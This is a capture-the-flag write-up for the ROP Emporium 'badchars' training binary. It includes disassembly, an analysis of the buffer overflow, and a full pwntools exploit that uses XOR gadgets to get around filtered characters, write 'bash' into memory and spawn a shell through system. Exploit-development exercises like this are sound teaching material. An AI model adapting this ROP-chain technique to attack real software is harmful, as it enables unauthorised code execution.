Writeup
Security protections:
$ rabin2 -I badchars
arch x86
baddr 0x400000
binsz 7427
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Analyze with radare2 pwnme function:
[0x7f2bb4bd6100]> s sym.pwnme
[0x004008f5]> pdg
void sym.pwnme(void)
{
int64_t iVar1;
undefined8 uVar2;
undefined8 uVar3;
int32_t var_30h;
int32_t var_28h;
undefined auStack40 [32];
iVar1 = sym.imp.malloc(0x200);
if (iVar1 == 0) {
sym.imp.exit(1);
} else {
sym.imp.memset(iVar1, 0, 0x200);
}
sym.imp.memset(auStack40, 0, 0x20);
sym.imp.puts("badchars are: b i c / <space> f n s");
sym.imp.printf(0x400c2c);
uVar2 = sym.imp.fgets(iVar1, 0x200, _reloc.stdin_144);
uVar3 = sym.nstrlen((int32_t)uVar2, 0x200);
sym.checkBadchars((int32_t)uVar2, (int32_t)uVar3);
// Incorrect decompiled. memcpy has 3 arguments
sym.imp.memcpy(auStack40, uVar2, uVar3, auStack40);
sym.imp.free(uVar2);
return;
}
[0x004008f5]> pdf
/ (fcn) sym.pwnme 234
| sym.pwnme ();
| ; var int32_t var_30h @ rbp-0x30
| ; var int32_t var_28h @ rbp-0x28
| ; CALL XREF from main @ 0x4008df
| 0x004008f5 55 push rbp
| 0x004008f6 4889e5 mov rbp, rsp
| 0x004008f9 4883ec30 sub rsp, 0x30
| 0x004008fd 48c745d00000. mov qword [var_30h], 0
| 0x00400905 bf00020000 mov edi, 0x200 ; rflags
| 0x0040090a e841feffff call sym.imp.malloc ; void *malloc(size_t size)
| 0x0040090f 488945d8 mov qword [var_28h], rax
| 0x00400913 488b45d8 mov rax, qword [var_28h]
| 0x00400917 4885c0 test rax, rax
| ,=< 0x0040091a 7418 je 0x400934
| | 0x0040091c 488b45d8 mov rax, qword [var_28h]
| | 0x00400920 ba00020000 mov edx, 0x200 ; rflags
| | 0x00400925 be00000000 mov esi, 0
| | 0x0040092a 4889c7 mov rdi, rax
| | 0x0040092d e8defdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| ,==< 0x00400932 eb0a jmp 0x40093e
| |`-> 0x00400934 bf01000000 mov edi, 1
| | 0x00400939 e832feffff call sym.imp.exit ; void exit(int status)
| | ; CODE XREF from sym.pwnme @ 0x400932
| `--> 0x0040093e 488d45d0 lea rax, [var_30h]
| 0x00400942 4883c010 add rax, 0x10 ; 16
| 0x00400946 ba20000000 mov edx, 0x20 ; 32
| 0x0040094b be00000000 mov esi, 0
| 0x00400950 4889c7 mov rdi, rax
| 0x00400953 e8b8fdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x00400958 bf080c4000 mov edi, str.badchars_are:_b_i_c____space__f_n_s ; 0x400c08 ; "badchars are: b i c / <space> f n s"
| 0x0040095d e87efdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400962 bf2c0c4000 mov edi, 0x400c2c
| 0x00400967 b800000000 mov eax, 0
| 0x0040096c e88ffdffff call sym.imp.printf ; int printf(const char *format)
| 0x00400971 488b15180720. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
| ; [0x601090:8]=0
| 0x00400978 488b45d8 mov rax, qword [var_28h]
| 0x0040097c be00020000 mov esi, 0x200 ; rflags
| 0x00400981 4889c7 mov rdi, rax
| 0x00400984 e8a7fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400989 488945d8 mov qword [var_28h], rax
| 0x0040098d 488b45d8 mov rax, qword [var_28h]
| 0x00400991 be00020000 mov esi, 0x200 ; rflags
| 0x00400996 4889c7 mov rdi, rax
| 0x00400999 e852000000 call sym.nstrlen
| 0x0040099e 488945d0 mov qword [var_30h], rax
| 0x004009a2 488b55d0 mov rdx, qword [var_30h]
| 0x004009a6 488b45d8 mov rax, qword [var_28h]
| 0x004009aa 4889d6 mov rsi, rdx
| 0x004009ad 4889c7 mov rdi, rax
| 0x004009b0 e88b000000 call sym.checkBadchars
| 0x004009b5 488b55d0 mov rdx, qword [var_30h]
| 0x004009b9 488b45d8 mov rax, qword [var_28h]
| 0x004009bd 488d4dd0 lea rcx, [var_30h]
| 0x004009c1 4883c110 add rcx, 0x10 ; 16
| 0x004009c5 4889c6 mov rsi, rax
| 0x004009c8 4889cf mov rdi, rcx
| 0x004009cb e870fdffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
| 0x004009d0 488b45d8 mov rax, qword [var_28h]
| 0x004009d4 4889c7 mov rdi, rax
| 0x004009d7 e8f4fcffff call sym.imp.free ; void free(void *ptr)
| 0x004009dc 90 nop
| 0x004009dd c9 leave
\ 0x004009de c3 ret
Launch the binary:
$ ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> aaaa
Exiting
Program flow:
buf[32];
var1 = malloc(0x200);
fgets(var1, len(var1), stdin);
memcpy(buf, var1, len(var1));
So we have an usual stack based buffer overflow. However this time we have
badchars, which means that if we try to insert a character which is in the list
of badchars : (b i c / <space> f n s)
, the program will modify our input or
discard it.
So we need to find addresses of gadgets without badchars, example : 0x04086263
is a bad address becase 0x62
and 0x63
are badchars b, c
.
Luckily there’s an option on ropper
to filtrate the addresses:
$ ropper --file badchars -b 6269632f20666e73
This is not the only limitations tho, we can’t simply write /bin/sh
with a
mov [reg1], reg2
instruction in the .data
section, because the string
contains bad characters. We need to find an equivalent rop chain to achieve the
writing of the string /bin/sh
.
An useful gadget is :
0x0000000000400b30: xor byte ptr [r15], r14b; ret;
r14b
represents the lowest byte of the r14
register.
If the bytes pointed by r15
are 0, we can build a table to find two characters,
which xored results in the character we want. In this case we need to find
a pair of characters that xored make the /
, another two that xored make the b
,
and so on.
chars = [i for i in range(0, 256)]
first_xor = {}
sec_xor = {}
bad = 'bic/ fns'
for k in range(0, len(bad)):
for i in range(1, len(chars)):
for j in range(i + 1, len(chars)):
if (chars[i] ^ chars[j]) == ord(bad[k]) and \
chr(chars[i]) not in bad and chr(chars[j]) not in bad:
first_xor[bad[k]] = chars[i]
sec_xor[bad[k]] = chars[j]
print(first_xor)
print(sec_xor)
Output:
{'b': 191, 'i': 191, 'c': 191, '/': 223, ' ': 223, 'f': 191, 'n': 191, 's': 191}
{'b': 221, 'i': 214, 'c': 220, '/': 240, ' ': 255, 'f': 217, 'n': 209, 's': 204}
The section where we’re going to write the /bin/sh
is still the .data
as
in write4
, and we have a pop r15; pop r14; ret
gadget. We’re ready to write
the final exploit.
Exploit
#!/usr/bin/env python3
from pwn import p64, remote, context, process
class Sender():
def __init__(self, local, debug):
if debug == True:
context.log_level = 'debug'
if local == 'local':
self.conn = process('./badchars')
else:
self.conn = remote('127.0.0.1', 9999)
class Badchars():
def __init__(self):
self.bad = 'bic/ fns'
def generate_table(self):
chars = [i for i in range(0, 256)]
first_xor = {}
sec_xor = {}
for k in range(0, len(self.bad)):
for i in range(1, len(chars)):
for j in range(i + 1, len(chars)):
if (chars[i] ^ chars[j]) == ord(self.bad[k])\
and chr(chars[i]) not in self.bad\
and chr(chars[j]) not in self.bad:
first_xor[self.bad[k]] = chars[i]
sec_xor[self.bad[k]] = chars[j]
return (first_xor, sec_xor)
def generate_payload(self):
first_xor, sec_xor = self.generate_table()
xor = p64(0x0400b30) # xor byte ptr [r15], r14b; ret;
pop_r14_r15 = p64(0x0400b40)
pop_rdi = p64(0x0400b39)
system = p64(0x004006f0)
data = 0x0601074
bash = b'bash'
payload = b'a' * 40
for i in range(0, len(bash)):
x = bash[i]
if chr(x) not in self.bad:
payload += pop_r14_r15 + p64(x) + p64(data + i)
payload += xor
print("i not bad : " + str(i) + ", x : " + chr(x))
continue
else:
payload += pop_r14_r15 + p64(first_xor[chr(x)]) + p64(data + i)
payload += xor
payload += pop_r14_r15 + p64(sec_xor[chr(x)]) + p64(data + i)
payload += xor
print("i bad : " + str(i) + ", x : " + chr(x))
payload += pop_rdi + p64(data)
payload += system
return payload
def attack(self, local, debug):
payload = self.generate_payload()
print("payload's length : " + str(len(payload)))
print("max size : " + str(0x200))
snd = Sender(local, debug)
snd.conn.recvline()
snd.conn.recvline()
snd.conn.recvline()
snd.conn.recvline()
snd.conn.recvuntil('>')
snd.conn.sendline(payload)
snd.conn.interactive()
snd.conn.close()
with open("out.txt", "wb") as f:
f.write(payload)
def main():
attack = Badchars()
attack.attack('local', False)
if __name__ == '__main__':
main()